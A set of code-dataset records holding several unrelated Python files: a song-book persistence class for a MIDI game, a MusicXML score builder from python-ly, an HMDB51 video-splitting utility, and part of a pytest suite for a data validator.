SongBook:\r\n \"\"\"A song book is a persistent, versionable collecton of albums stored along with game options.\r\n \"\"\"\r\n VERSION = 1\r\n PATH = \"ext/songs.pkl\"\r\n\r\n\r\n @staticmethod\r\n def load():\r\n if os.path.exists(SongBook.PATH):\r\n with open(SongBook.PATH, 'rb') as data_file:\r\n sb = pickle.load(data_file)\r\n data_file.close()\r\n return sb\r\n return None\r\n\r\n\r\n @staticmethod\r\n def save(book):\r\n with open(SongBook.PATH, 'wb') as data_file:\r\n pickle.dump(book, data_file)\r\n data_file.close()\r\n\r\n\r\n def __init__(self):\r\n self.validate()\r\n\r\n\r\n def __getstate__(self):\r\n if hasattr(self, \"book_version\"):\r\n return self.__dict__\r\n else:\r\n print(f\"Song book must define book_version class variable!\")\r\n\r\n\r\n def __setstate__(self, dict_):\r\n version_present_in_pickle = dict_.pop(\"book_version\")\r\n if version_present_in_pickle != SongBook.VERSION:\r\n print(f\"Error: Song book versions differ: latest is: {SongBook.VERSION}, in current book: {version_present_in_pickle}\")\r\n else:\r\n self.__dict__ = dict_\r\n\r\n\r\n def validate(self):\r\n \"Set any missing data that would occur as a result of a bad load or load from an outdated file.\"\r\n self.book_version = SongBook.VERSION\r\n if not hasattr(self, \"albums\"): self.albums:List[Album] = []\r\n if not hasattr(self, \"default_song_title\"): self.default_song_title = \"\"\r\n if not hasattr(self, \"input_device\"): self.input_device = \"\"\r\n if not hasattr(self, \"output_device\"): self.output_device = \"\"\r\n if not hasattr(self, \"song_scores\"): self.song_scores = \"\"\r\n\r\n\r\n def sort(self):\r\n sorted(self.albums, key=lambda album: album.get_max_score())\r\n\r\n\r\n def get_album(self, id: int) -> Song:\r\n return self.albums[id]\r\n\r\n\r\n def get_num_albums(self):\r\n return len(self.albums)\r\n\r\n\r\n def is_empty(self):\r\n return len(self.albums) == 0\r\n\r\n\r\n def get_default_song(self) -> Song:\r\n for album in self.albums:\r\n song = album.find_song(self.default_song_title)\r\n if song is not None:\r\n return song\r\n if len(self.albums) > 0:\r\n self.albums[0].get_song[0]\r\n return None\r\n\r\n\r\n def find_song(self, title:str, artist:str) -> Song:\r\n \"\"\"Return a song from any album where the title and artist matches.\"\"\"\r\n for a in self.albums:\r\n return a.find_song(title, artist)\r\n\r\n\r\n def add_update_song(self, song:Song):\r\n \"\"\"Return True if a song with matching title and artist exists, saving the track ID.\"\"\"\r\n for count, existing_song in enumerate(self.songs):\r\n if existing_song.artist.find(song.artist) >= 0 and existing_song.title.find(song.title) >= 0:\r\n song.player_track_id = self.songs[count].player_track_id\r\n self.songs[count] = song\r\n print(f\"SongBook updated {song.get_name()}\")\r\n return True\r\n\r\n self.songs.append(song)\r\n print(f\"SongBook added {song.path} to data file.\")\r\n return False\r\n\r\n\r\n def delete_album(self, album_id:int):\r\n self.albums.remove(self.songs[album_id])\r\n\r\n\r\n def add_album(self, name:str):\r\n \"\"\"Albums are collections of songs that can be unlocked.\"\"\"\r\n self.albums[name] = Album()\r\n\r\n\r\n","repo_name":"macBdog/midimaster","sub_path":"song_book.py","file_name":"song_book.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"13139481438","text":"from __future__ import unicode_literals\nfrom __future__ import division\n\nimport sys\ntry:\n import xml.etree.cElementTree as etree\nexcept ImportError:\n import xml.etree.ElementTree as etree\n\n\nimport ly.pkginfo\n\nfrom .midi_sound_map import midi_sound_map\n\nclass CreateMusicXML():\n \"\"\" Creates the XML nodes according to the Music XML standard.\"\"\"\n\n def __init__(self):\n \"\"\"Creates the basic structure of the XML without any music.\"\"\"\n self.root = etree.Element(\"score-partwise\", version=\"3.0\")\n self.tree = etree.ElementTree(self.root)\n self.score_info = etree.SubElement(self.root, \"identification\")\n encoding = etree.SubElement(self.score_info, \"encoding\")\n software = etree.SubElement(encoding, \"software\")\n software.text = ly.pkginfo.name + \" \" + ly.pkginfo.version\n encoding_date = etree.SubElement(encoding, \"encoding-date\")\n import datetime\n encoding_date.text = str(datetime.date.today())\n self.partlist = etree.SubElement(self.root, \"part-list\")\n self.part_count = 1\n\n ##\n # Building the basic Elements\n ##\n\n def create_title(self, title):\n \"\"\"Create score title.\"\"\"\n mov_title = etree.Element(\"movement-title\")\n mov_title.text = title\n self.root.insert(0, mov_title)\n\n def create_score_info(self, tag, info, attr={}):\n \"\"\"Create score info.\"\"\"\n info_node = etree.SubElement(self.score_info, tag, attr)\n info_node.text = info\n\n def create_partgroup(self, gr_type, num, name=None, abbr=None, symbol=None):\n \"\"\"Create a new part group.\"\"\"\n attr_dict = {\"type\": gr_type, \"number\": str(num)}\n partgroup = etree.SubElement(self.partlist, \"part-group\", attr_dict)\n if name:\n group_name = etree.SubElement(partgroup, \"group-name\")\n group_name.text = name\n if abbr:\n group_abbr = etree.SubElement(partgroup, \"group-abbreviation\")\n group_abbr.text = abbr\n if symbol:\n group_symbol = etree.SubElement(partgroup, \"group-symbol\")\n group_symbol.text = symbol\n\n def create_part(self, name=\"unnamed\", abbr=False, midi=False):\n \"\"\"Create a new part \"\"\"\n strnr = str(self.part_count)\n part = etree.SubElement(self.partlist, \"score-part\", id=\"P\"+strnr)\n partname = etree.SubElement(part, \"part-name\")\n partname.text = name\n if abbr:\n partabbr = etree.SubElement(part, \"part-abbreviation\")\n partabbr.text = abbr\n if midi:\n scoreinstr = etree.SubElement(part, \"score-instrument\", id=\"P\"+strnr+\"-I\"+strnr)\n instrname = etree.SubElement(scoreinstr, \"instrument-name\")\n instrname.text = midi\n\n if midi in midi_sound_map and midi_sound_map[midi]:\n instrsound = etree.SubElement(scoreinstr, \"instrument-sound\")\n instrsound.text = midi_sound_map[midi]\n\n midiinstr = etree.SubElement(part, \"midi-instrument\", id=\"P\"+strnr+\"-I\"+strnr)\n midich = etree.SubElement(midiinstr, \"midi-channel\")\n midich.text = strnr\n midiname = etree.SubElement(midiinstr, \"midi-name\")\n midiname.text = midi\n self.current_part = etree.SubElement(self.root, \"part\", id=\"P\"+strnr)\n self.part_count += 1\n self.bar_nr = 1\n\n def create_measure(self, pickup = False, **bar_attrs):\n \"\"\"Create new measure \"\"\"\n if pickup and self.bar_nr == 1:\n self.bar_nr = 0\n self.current_bar = etree.SubElement(self.current_part, \"measure\", number=str(self.bar_nr))\n self.bar_nr +=1\n if bar_attrs:\n self.new_bar_attr(**bar_attrs)\n\n ##\n # High-level node creation\n ##\n\n def new_note(self, step, octave, durtype, divdur, alter=0,\n acc_token=0, voice=1, dot=0, chord=0, grace=(0, 0), stem_dir=0):\n \"\"\"Create all nodes needed for a normal note. \"\"\"\n self.create_note()\n if grace[0]:\n self.add_grace(grace[1])\n if chord:\n self.add_chord()\n self.add_pitch(step, alter, octave)\n if not grace[0]:\n self.add_div_duration(divdur)\n self.add_voice(voice)\n self.add_duration_type(durtype)\n if dot:\n for i in range(dot):\n self.add_dot()\n if alter or acc_token:\n if acc_token == '!': # cautionary\n self.add_accidental(alter, caut=True)\n elif acc_token == '?': # parentheses\n self.add_accidental(alter, parenth=True)\n else:\n self.add_accidental(alter)\n if stem_dir:\n self.set_stem_dir(stem_dir)\n\n def new_unpitched_note(self, step, octave, durtype, divdur, voice=1,\n dot=0, chord=0, grace=(0, 0)):\n \"\"\"Create all nodes needed for an unpitched note. \"\"\"\n self.create_note()\n if grace[0]:\n self.add_grace(grace[1])\n if chord:\n self.add_chord()\n self.add_unpitched(step, octave)\n if not grace[0]:\n self.add_div_duration(divdur)\n self.add_duration_type(durtype)\n self.add_voice(voice)\n if dot:\n for i in range(dot):\n self.add_dot()\n\n def tuplet_note(self, fraction, bs, ttype, nr, divs, atyp='', ntyp=''):\n \"\"\"Convert current note to tuplet \"\"\"\n base = self.mult * bs[0]\n scaling = bs[1]\n a = divs*4*fraction[1]\n b = (1/base)*fraction[0]\n duration = (a/b)*scaling\n self.change_div_duration(duration)\n from fractions import Fraction\n self.mult = Fraction(fraction[1], fraction[0])\n timemod_node = self.get_time_modify()\n if timemod_node:\n self.adjust_time_modify(timemod_node, fraction)\n else:\n self.add_time_modify(fraction)\n if ttype:\n self.add_notations()\n if atyp and ttype != \"stop\":\n self.add_tuplet_type(nr, ttype, fraction[0], atyp, fraction[1], ntyp)\n else:\n self.add_tuplet_type(nr, ttype)\n\n def tie_note(self, tie_type):\n self.add_tie(tie_type)\n self.add_notations()\n self.add_tied(tie_type)\n\n def new_rest(self, duration, durtype, pos, dot, voice):\n \"\"\"Create all nodes needed for a rest. \"\"\"\n self.create_note()\n if pos:\n self.add_rest_w_pos(pos[0], pos[1])\n else:\n self.add_rest()\n self.add_div_duration(duration)\n self.add_voice(voice)\n if durtype:\n self.add_duration_type(durtype)\n if dot:\n for i in range(dot):\n self.add_dot()\n\n def new_articulation(self, artic):\n \"\"\"Add specified articulation. \"\"\"\n self.add_notations()\n self.add_articulations()\n self.add_named_artic(artic)\n\n def new_simple_ornament(self, ornament):\n \"\"\"Add specified ornament. \"\"\"\n self.add_notations()\n self.add_ornaments()\n func_call = getattr(self, 'add_'+ornament)\n func_call()\n\n def new_adv_ornament(self, ornament, args):\n \"\"\"Add more complex ornament.\"\"\"\n self.add_notations()\n self.add_ornaments()\n if ornament == \"wavy-line\":\n self.add_wavyline(args['type'])\n\n def new_bar_attr(self, clef=0, mustime=0, key=None, mode=0, divs=0, multirest=0):\n \"\"\"Create all bar attributes set. \"\"\"\n self.create_bar_attr()\n if divs:\n self.add_divisions(divs)\n if key is not None:\n self.add_key(key, mode)\n if mustime:\n self.add_time(mustime)\n if clef:\n sign, line, octch = clef\n self.add_clef(sign, line, oct_ch=octch)\n if multirest:\n self.add_bar_style(multirest)\n\n def create_tempo(self, words, metronome, sound, dots):\n self.add_direction()\n if words:\n self.add_dirwords(words)\n if metronome:\n self.add_metron_dir(metronome[0], metronome[1], dots)\n self.add_sound_dir(sound)\n\n def create_new_node(self, parentnode, nodename, txt):\n \"\"\" The Music XML language is extensive.\n This function can be used to create\n a non basic node not covered elsewhere in this script.\n\n TODO: add attributes\n \"\"\"\n new_node = etree.SubElement(parentnode, nodename)\n new_node.text = str(txt)\n\n\n ##\n # Low-level node creation\n ##\n\n def add_creator(self, creator, name):\n \"\"\"Add creator to score info.\"\"\"\n attr = {'type': creator }\n self.create_score_info(\"creator\", name, attr)\n\n def add_rights(self, rights, type=None):\n \"\"\"Add rights to score info.\"\"\"\n attr = {'type': type} if type else {}\n self.create_score_info(\"rights\", rights, attr)\n\n def create_note(self):\n \"\"\"Create new note.\"\"\"\n self.current_note = etree.SubElement(self.current_bar, \"note\")\n self.current_notation = None\n self.current_artic = None\n self.current_ornament = None\n self.current_tech = None\n\n def add_pitch(self, step, alter, octave):\n \"\"\"Create new pitch.\"\"\"\n pitch = etree.SubElement(self.current_note, \"pitch\")\n stepnode = etree.SubElement(pitch, \"step\")\n stepnode.text = str(step)\n if alter:\n altnode = etree.SubElement(pitch, \"alter\")\n altnode.text = str(alter)\n octnode = etree.SubElement(pitch, \"octave\")\n octnode.text = str(octave)\n\n def add_unpitched(self, step, octave):\n \"\"\"Create unpitched.\"\"\"\n unpitched = etree.SubElement(self.current_note, \"unpitched\")\n stepnode = etree.SubElement(unpitched, \"display-step\")\n stepnode.text = str(step)\n octnode = etree.SubElement(unpitched, \"display-octave\")\n octnode.text = str(octave)\n\n def add_accidental(self, alter, caut=False, parenth=False):\n \"\"\"Create accidental.\"\"\"\n attrib = {}\n if caut:\n attrib['cautionary'] = 'yes'\n if parenth:\n attrib['parentheses'] = 'yes'\n acc = etree.SubElement(self.current_note, \"accidental\", attrib)\n acc_dict = {\n 0: 'natural',\n 1: 'sharp', -1: 'flat',\n 2: 'sharp-sharp', -2: 'flat-flat',\n 0.5: 'natural-up', -0.5: 'natural-down',\n 1.5: 'sharp-up', -1.5: 'flat-down'\n }\n acc.text = acc_dict[alter]\n\n def set_stem_dir(self, dir):\n stem_dir = etree.SubElement(self.current_note, \"stem\")\n stem_dir.text = dir\n\n def add_rest(self):\n \"\"\"Create rest.\"\"\"\n etree.SubElement(self.current_note, \"rest\")\n\n def add_rest_w_pos(self, step, octave):\n \"\"\"Create rest with display position.\"\"\"\n restnode = etree.SubElement(self.current_note, \"rest\")\n stepnode = etree.SubElement(restnode, \"display-step\")\n octnode = etree.SubElement(restnode, \"display-octave\")\n stepnode.text = str(step)\n octnode.text = str(octave)\n\n def add_skip(self, duration, forward=True):\n if forward:\n skip = etree.SubElement(self.current_bar, \"forward\")\n else:\n skip = etree.SubElement(self.current_bar, \"backward\")\n dura_node = etree.SubElement(skip, \"duration\")\n dura_node.text = str(duration)\n\n def add_div_duration(self, divdur):\n \"\"\"Create new duration \"\"\"\n self.duration = etree.SubElement(self.current_note, \"duration\")\n self.duration.text = str(divdur)\n self.mult = 1\n\n def change_div_duration(self, newdura):\n \"\"\"Set new duration when tuplet \"\"\"\n self.duration.text = str(newdura)\n\n def add_duration_type(self, durtype):\n \"\"\"Create new type \"\"\"\n typenode = etree.SubElement(self.current_note, \"type\")\n typenode.text = str(durtype)\n\n def add_dot(self):\n \"\"\"Create a dot \"\"\"\n etree.SubElement(self.current_note, \"dot\")\n\n def add_beam(self, nr, beam_type):\n \"\"\"Add beam. \"\"\"\n beam_node = etree.SubElement(self.current_notation, \"beam\", number=str(nr))\n beam_node.text = beam_type\n\n def add_tie(self, tie_type):\n \"\"\"Create node tie (used for sound of tie) \"\"\"\n # A tie must be directly after a duration\n insert_at = get_tag_index(self.current_note, \"duration\") + 1\n tie_element = etree.Element(\"tie\", type=tie_type)\n self.current_note.insert(insert_at, tie_element)\n\n def add_grace(self, slash):\n \"\"\"Create grace node \"\"\"\n if slash:\n etree.SubElement(self.current_note, \"grace\", slash=\"yes\")\n else:\n etree.SubElement(self.current_note, \"grace\")\n\n def add_notations(self):\n if not self.current_notation:\n self.current_notation = etree.SubElement(self.current_note, \"notations\")\n\n def add_tied(self, tie_type):\n \"\"\"Create node tied (used for notation of tie) \"\"\"\n etree.SubElement(self.current_notation, \"tied\", type=tie_type)\n\n def add_time_modify(self, fraction):\n \"\"\"Create time modification \"\"\"\n index = get_tag_index(self.current_note, \"accidental\")\n if index == -1:\n index = get_tag_index(self.current_note, \"dot\")\n if index == -1:\n index = get_tag_index(self.current_note, \"type\")\n timemod_node = etree.Element(\"time-modification\")\n actual_notes = etree.SubElement(timemod_node, \"actual-notes\")\n actual_notes.text = str(fraction[0])\n norm_notes = etree.SubElement(timemod_node, \"normal-notes\")\n norm_notes.text = str(fraction[1])\n self.current_note.insert(index + 1, timemod_node)\n\n def get_time_modify(self):\n \"\"\"Check if time-modification node already exists.\"\"\"\n return self.current_note.find(\"time-modification\")\n\n def adjust_time_modify(self, timemod_node, fraction):\n \"\"\"Adjust existing time-modification node.\"\"\"\n actual_notes = timemod_node.find(\"actual-notes\")\n an = int(actual_notes.text) * fraction[0]\n actual_notes.text = str(an)\n norm_notes = timemod_node.find(\"normal-notes\")\n nn = int(norm_notes.text) * fraction[1]\n norm_notes.text = str(nn)\n\n def add_tuplet_type(self, nr, ttype, actnr=0, acttype='', normnr=0, normtype=''):\n \"\"\"Create tuplet with type attribute \"\"\"\n tuplnode = etree.SubElement(self.current_notation, \"tuplet\",\n {'number': str(nr), 'type': ttype })\n if actnr:\n actnode = etree.SubElement(tuplnode, \"tuplet-actual\")\n atn = etree.SubElement(actnode, \"tuplet-number\")\n atn.text = str(actnr)\n att = etree.SubElement(actnode, \"tuplet-type\")\n if not acttype:\n acttype = self.current_note.find(\"type\").text\n att.text = acttype\n if normnr:\n normnode = etree.SubElement(tuplnode, \"tuplet-normal\")\n ntn = etree.SubElement(normnode, \"tuplet-number\")\n ntn.text = str(normnr)\n ntt = etree.SubElement(normnode, \"tuplet-type\")\n if not normtype:\n normtype = self.current_note.find(\"type\").text\n ntt.text = normtype\n\n def add_slur(self, nr, sl_type):\n \"\"\"Add slur. \"\"\"\n self.add_notations()\n etree.SubElement(self.current_notation, \"slur\", {'number': str(nr), 'type': sl_type })\n\n def add_named_notation(self, notate):\n \"\"\"Fermata, etc. \"\"\"\n self.add_notations()\n etree.SubElement(self.current_notation, notate)\n\n def add_articulations(self):\n \"\"\"Common function for creating all types of articulations. \"\"\"\n if not self.current_artic:\n self.current_artic = etree.SubElement(self.current_notation, \"articulations\")\n\n def add_named_artic(self, artic):\n \"\"\"Add articulation with specified name. \"\"\"\n etree.SubElement(self.current_artic, artic)\n\n def add_ornaments(self):\n if not self.current_ornament:\n self.add_notations()\n self.current_ornament = etree.SubElement(self.current_notation, \"ornaments\")\n\n def add_tremolo(self, trem_type, lines):\n self.add_ornaments()\n trem_node = etree.SubElement(self.current_ornament, \"tremolo\", type=trem_type)\n trem_node.text = str(lines)\n\n def add_trill(self):\n etree.SubElement(self.current_ornament, \"trill-mark\")\n\n def add_turn(self):\n etree.SubElement(self.current_ornament, \"turn\")\n\n def add_mordent(self):\n etree.SubElement(self.current_ornament, \"mordent\")\n\n def add_prall(self):\n etree.SubElement(self.current_ornament, \"inverted-mordent\")\n\n def add_wavyline(self, end_type):\n self.add_ornaments\n etree.SubElement(self.current_ornament, \"wavy-line\", type=end_type)\n\n def add_gliss(self, linetype, endtype, nr):\n nodedict = { \"line-type\": linetype, \"number\": str(nr), \"type\": endtype }\n self.add_notations()\n etree.SubElement(self.current_notation, \"glissando\", nodedict)\n\n def add_technical(self):\n if not self.current_tech:\n self.add_notations()\n self.current_tech = etree.SubElement(self.current_notation, \"technical\")\n\n def add_fingering(self, finger_nr):\n self.add_technical()\n fing_node = etree.SubElement(self.current_tech, \"fingering\")\n fing_node.text = str(finger_nr)\n\n def create_bar_attr(self):\n \"\"\"Create node attributes \"\"\"\n self.bar_attr = etree.SubElement(self.current_bar, \"attributes\")\n\n def add_divisions(self, div):\n division = etree.SubElement(self.bar_attr, \"divisions\")\n division.text = str(div)\n\n def add_key(self, key, mode):\n keynode = etree.SubElement(self.bar_attr, \"key\")\n fifths = etree.SubElement(keynode, \"fifths\")\n fifths.text = str(key)\n modenode = etree.SubElement(keynode, \"mode\")\n modenode.text = str(mode)\n\n def add_time(self, timesign):\n if len(timesign)==3:\n timenode = etree.SubElement(self.bar_attr, \"time\", symbol=timesign[2])\n else:\n timenode = etree.SubElement(self.bar_attr, \"time\")\n beatnode = etree.SubElement(timenode, \"beats\")\n beatnode.text = str(timesign[0])\n typenode = etree.SubElement(timenode, \"beat-type\")\n typenode.text = str(timesign[1])\n\n def add_clef(self, sign, line, nr=0, oct_ch=0):\n if nr:\n clefnode = etree.SubElement(self.bar_attr, \"clef\", number=str(nr))\n else:\n clefnode = etree.SubElement(self.bar_attr, \"clef\")\n signnode = etree.SubElement(clefnode, \"sign\")\n signnode.text = str(sign)\n if line:\n linenode = etree.SubElement(clefnode, \"line\")\n linenode.text = str(line)\n if oct_ch:\n octchnode = etree.SubElement(clefnode, \"clef-octave-change\")\n octchnode.text = str(oct_ch)\n\n def add_bar_style(self, multirest=None):\n bar_style = etree.SubElement(self.bar_attr, \"measure-style\")\n if multirest:\n multirestnode = etree.SubElement(bar_style, \"multiple-rest\")\n multirestnode.text = str(multirest)\n\n def new_system(self, force_break):\n etree.SubElement(self.current_bar, \"print\", {'new-system':force_break})\n\n def add_barline(self, bl_type, repeat=None):\n barnode = etree.SubElement(self.current_bar, \"barline\", location=\"right\")\n barstyle = etree.SubElement(barnode, \"bar-style\")\n barstyle.text = bl_type\n if repeat:\n repeatnode = etree.SubElement(barnode, \"repeat\", direction=repeat)\n\n def add_backup(self, duration):\n if duration <= 0:\n return\n backupnode = etree.SubElement(self.current_bar, \"backup\")\n durnode = etree.SubElement(backupnode, \"duration\")\n durnode.text = str(duration)\n\n def add_voice(self, voice):\n voicenode = etree.SubElement(self.current_note, \"voice\")\n voicenode.text = str(voice)\n\n def add_staff(self, staff):\n staffnode = etree.SubElement(self.current_note, \"staff\")\n staffnode.text = str(staff)\n\n def add_staves(self, staves):\n index = get_tag_index(self.bar_attr, \"time\")\n stavesnode = etree.Element(\"staves\")\n stavesnode.text = str(staves)\n self.bar_attr.insert(index + 1, stavesnode)\n\n def add_chord(self):\n etree.SubElement(self.current_note, \"chord\")\n\n def add_direction(self, pos=\"above\"):\n self.direction = etree.SubElement(self.current_bar, \"direction\", placement=pos)\n\n def add_dynamic_mark(self, dyn):\n \"\"\"Add specified dynamic mark.\"\"\"\n direction = etree.SubElement(self.current_bar, \"direction\", placement='below')\n dirtypenode = etree.SubElement(direction, \"direction-type\")\n dyn_node = etree.SubElement(dirtypenode, \"dynamics\")\n dynexpr_node = etree.SubElement(dyn_node, dyn)\n\n def add_dynamic_wedge(self, wedge_type):\n \"\"\"Add dynamic wedge/hairpin.\"\"\"\n direction = etree.SubElement(self.current_bar, \"direction\", placement='below')\n dirtypenode = etree.SubElement(direction, \"direction-type\")\n dyn_node = etree.SubElement(dirtypenode, \"wedge\", type=wedge_type)\n\n def add_dynamic_text(self, text):\n \"\"\"Add dynamic text.\"\"\"\n direction = etree.SubElement(self.current_bar, \"direction\", placement='below')\n dirtypenode = etree.SubElement(direction, \"direction-type\")\n dyn_node = etree.SubElement(dirtypenode, \"words\")\n dyn_node.attrib['font-style'] = 'italic'\n dyn_node.text = text\n\n def add_dynamic_dashes(self, text):\n \"\"\"Add dynamics dashes.\"\"\"\n direction = etree.SubElement(self.current_bar, \"direction\", placement='below')\n dirtypenode = etree.SubElement(direction, \"direction-type\")\n dyn_node = etree.SubElement(dirtypenode, \"dashes\", type=text)\n\n def add_octave_shift(self, plac, octdir, size):\n \"\"\"Add octave shift.\"\"\"\n oct_dict = {\"type\": octdir, \"size\": str(size) }\n direction = etree.SubElement(self.current_bar, \"direction\", placement=plac)\n dirtypenode = etree.SubElement(direction, \"direction-type\")\n dyn_node = etree.SubElement(dirtypenode, \"octave-shift\", oct_dict)\n\n def add_dirwords(self, words):\n \"\"\"Add words in direction, e. g. a tempo mark.\"\"\"\n if self.current_bar.find('direction') == None:\n self.add_direction()\n dirtypenode = etree.SubElement(self.direction, \"direction-type\")\n wordsnode = etree.SubElement(dirtypenode, \"words\")\n wordsnode.text = words\n\n def add_mark(self, mark):\n \"\"\"Add rehearsal mark in direction\"\"\"\n if self.current_bar.find('direction') == None:\n self.add_direction()\n dirtypenode = etree.SubElement(self.direction, \"direction-type\")\n rehearsalnode = etree.SubElement(dirtypenode, \"rehearsal\")\n rehearsalnode.text = mark\n\n def add_metron_dir(self, unit, beats, dots):\n dirtypenode = etree.SubElement(self.direction, \"direction-type\")\n metrnode = etree.SubElement(dirtypenode, \"metronome\")\n bunode = etree.SubElement(metrnode, \"beat-unit\")\n bunode.text = unit\n if dots:\n for d in range(dots):\n etree.SubElement(metrnode, \"beat-unit-dot\")\n pmnode = etree.SubElement(metrnode, \"per-minute\")\n pmnode.text = str(beats)\n\n def add_sound_dir(self, midi_tempo):\n # FIXME: remove the int conversion once LilyPond accepts decimal tempo\n soundnode = etree.SubElement(self.direction, \"sound\", tempo=str(int(midi_tempo)))\n\n def add_lyric(self, txt, syll, nr, ext=False):\n \"\"\" Add lyric element. \"\"\"\n lyricnode = etree.SubElement(self.current_note, \"lyric\", number=str(nr))\n syllnode = etree.SubElement(lyricnode, \"syllabic\")\n syllnode.text = syll\n txtnode = etree.SubElement(lyricnode, \"text\")\n txtnode.text = txt\n if ext:\n etree.SubElement(lyricnode, \"extend\")\n\n\n ##\n # Create the XML document\n ##\n\n def musicxml(self, prettyprint=True):\n xml = MusicXML(self.tree)\n if prettyprint:\n xml.indent(\" \")\n return xml\n\n\nclass MusicXML(object):\n \"\"\"Represent a generated MusicXML tree.\"\"\"\n def __init__(self, tree):\n self.tree = tree\n self.root = tree.getroot()\n\n def indent(self, indent=\" \"):\n \"\"\"Add indent and linebreaks to the created XML tree.\"\"\"\n import ly.etreeutil\n ly.etreeutil.indent(self.root, indent)\n\n def tostring(self, encoding='UTF-8'):\n \"\"\"Output etree as a XML document.\"\"\"\n return etree.tostring(self.root, encoding=encoding, method=\"xml\")\n\n def write(self, file, encoding='UTF-8', doctype=True):\n \"\"\"Write XML to a file (file obj or filename).\"\"\"\n def write(f):\n if doctype:\n f.write((xml_decl_txt + \"\\n\").format(encoding=encoding).encode(encoding))\n f.write((doctype_txt + \"\\n\").encode(encoding))\n self.tree.write(f, encoding=encoding, xml_declaration=False)\n else:\n self.tree.write(f, encoding=encoding, xml_declaration=True, method=\"xml\")\n if hasattr(file, 'write'):\n write(file)\n # do not close if it already was a file object\n else:\n # it is not a file object\n with open(file, 'wb') as f:\n write(f)\n\n\ndef get_tag_index(node, tag):\n \"\"\"Return the (first) index of tag in node.\n\n If tag is not found, -1 is returned.\n \"\"\"\n for i, elem in enumerate(list(node)):\n if elem.tag == tag:\n return i\n return -1\n\n\nxml_decl_txt = \"\"\"\"\"\"\n\ndoctype_txt = \"\"\"\"\"\"\n","repo_name":"frescobaldi/python-ly","sub_path":"ly/musicxml/create_musicxml.py","file_name":"create_musicxml.py","file_ext":"py","file_size_in_byte":25982,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"61"} +{"seq_id":"26758437649","text":"import os\nimport cv2\nimport shutil\nimport pandas as pd\nfrom natsort import natsorted\n\n\ndef split_hmdb51_data(video_root_path, annot_dir, split_dir):\n count_videos = 0\n for video_dir in os.listdir(video_root_path):\n video_path = os.path.join(video_root_path, video_dir)\n for annot_file in os.listdir(annot_dir):\n annot_path = os.path.join(annot_dir, annot_file)\n action_name = video_path.split('/')[-1]\n action_name2 = annot_path.split('/')[-1].split('.')[0][:-12] # _test_split1\n if action_name == action_name2:\n # print(action_name, \" <==> \", action_name2)\n with open(annot_path, 'r') as f:\n for line in f:\n abs_video_path = os.path.join(video_path, line.strip().split(' ')[0]) #\n\n labels = int(line.strip().split(' ')[-1])\n if labels != 1 and labels != 0: \n count_videos += 1\n split_folder = os.path.join(split_dir, action_name)\n os.makedirs(split_folder, exist_ok=True)\n\n shutil.copy(abs_video_path, split_folder)\n print('Copying videos from [{}] action class...'.format(action_name))\n print('number of train videos for {} are : {}'.format(video_path.split('/')[-1], str(count_videos)))\n count_videos = 0 \n\n\ndef generate_hmdb51_video_list(root_dir, filename):\n video_list = []\n id_no = 1\n for cat in os.listdir(root_dir):\n video_path = os.path.join(root_dir, cat)\n for video in os.listdir(video_path):\n video_list.append([video, cat, int(id_no)])\n id_no += 1\n video_file = pd.DataFrame(video_list, columns=['video_file', 'label', 'target'], index=None)\n video_file.to_csv(filename)\n print('Video files are written to csv file')\n\n\ndef detect_anomaly_clips(video_dir, dest_dir):\n i = 0\n j = 0\n k = 0\n for video in os.listdir(video_dir):\n cap = cv2.VideoCapture(os.path.join(video_dir, video))\n assert (cap.isOpened()), \"\\nInvalid video path input >> {}\".format(vid_path)\n\n num_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n\n if height < 112 or width < 112:\n print('Moving: {}, due to smaller dimension====================='.format(os.path.join(video_dir, video)))\n shutil.move(os.path.join(video_dir, video), dest_dir)\n k += 1\n if num_frames < 16:\n print('Moving: {}, due to less number of frames'.format(os.path.join(video_dir, video)))\n shutil.move(os.path.join(video_dir, video), dest_dir)\n i += 1\n else:\n j += 1\n continue\n print('{} videos are moved.'.format(str(i)))\n print('{} videos are above the threshold.'.format(str(j)))\n\nif __name__ == '__main__':\n split_path = \"../HMDB51/splitted/test10\"\n split_csv_file = \"test10split01.csv\"\n generate_hmdb51_video_list(split_path, split_csv_file)\n","repo_name":"xyzkdd22/xyzkdd22","sub_path":"dataset/hmdb51.py","file_name":"hmdb51.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27995711287","text":"from numpy import nan\nimport pytest\n\nfrom memsynth import exceptions\nfrom memsynth.main import MemExpectation\n\ntry:\n import tests.conftest as fixtures\nexcept:\n import conftest as fixtures\n\n\ndef test_expectation_encounters_an_incorrect_parameter():\n with pytest.raises(exceptions.MemExpectationFormationError) as ex:\n MemExpectation(\n \"AK_ID\", **{\n \"parameters\": [\n dict(name=\"data_type\", value=\"integer\"),\n dict(name=\"bad_param\", value=\"not_good\")\n ],\n \"required\": True\n }\n )\n assert \"bad_param is not a recognized col.\" in str(ex.value)\n\n@pytest.mark.usefixtures(\"correct_ak_id_exp\")\ndef test_correct_expectation_forms(correct_ak_id_exp):\n assert correct_ak_id_exp.is_an_expectation\n\n@pytest.mark.usefixtures(\"correct_ak_id_exp\")\ndef test_correct_regex_expectation_condition_passes(correct_ak_id_exp):\n assert correct_ak_id_exp._check_regex(\"12345\", 1)\n\n@pytest.mark.usefixtures(\"correct_ak_id_exp\")\ndef test_correct_expectation_passes(correct_ak_id_exp):\n assert hasattr(correct_ak_id_exp, \"check\") and \\\n correct_ak_id_exp.check(fixtures.AK_ID_CORRECT_DATA)\n\n@pytest.mark.usefixtures(\"correct_ak_id_exp\")\ndef test_incorrect_expectation_fails(correct_ak_id_exp):\n assert hasattr(correct_ak_id_exp, \"check\")\n assert correct_ak_id_exp.check(fixtures.AK_ID_INCORRECT_DATA) == False\n\n@pytest.mark.usefixtures(\"correct_ak_id_exp\")\ndef test_fails_nullable_expectation(correct_ak_id_exp):\n if hasattr(correct_ak_id_exp, \"check\"):\n # DSA ID has null values, which correct AK ID columns should not have\n correct_ak_id_exp.check(fixtures.DSA_ID_CORRECT_DATA)\n if len(correct_ak_id_exp.fails) > 0:\n for fail in correct_ak_id_exp.fails:\n if \"nullable\" in [whys.name for whys in fail.why]:\n assert True\n else:\n assert False, 